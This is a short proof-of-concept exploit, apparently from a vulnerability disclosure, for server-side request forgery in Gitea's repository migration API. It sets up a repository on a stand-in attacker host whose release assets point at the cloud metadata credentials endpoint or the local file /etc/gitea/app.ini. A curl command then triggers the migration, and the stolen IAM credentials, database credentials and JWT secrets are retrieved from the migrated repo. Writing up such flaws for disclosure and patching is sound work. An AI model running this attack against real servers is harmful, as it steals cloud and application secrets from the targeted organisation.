# Step 1: Set up attacker Gitea instance with malicious release asset URLs
# Create a repo on evil.gitea.attacker.com with a release asset whose
# download_url points to internal services:
# Asset DownloadURL set to: http://169.254.169.254/latest/meta-data/iam/security-credentials/role
# Or: file:///etc/gitea/app.ini (local file read)
# Step 2: Admin triggers migration from attacker's Gitea instance
curl -s -X POST "https://target-gitea.com/api/v1/repos/migrate" \
  -H "Authorization: token ADMIN_API_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "clone_addr": "https://evil.gitea.attacker.com/user/repo.git",
    "repo_name": "migrated-repo",
    "repo_owner": "admin",
    "service": "gitea"
  }'
# Step 3: During migration, Gitea downloads release assets using unfiltered http.Get()
# Cloud metadata is saved as the release asset attachment in the migrated repo
# Or app.ini contents (with DB credentials, JWT secrets) are saved via file:// scheme
# Step 4: Attacker accesses the migrated repo's release assets to retrieve stolen data
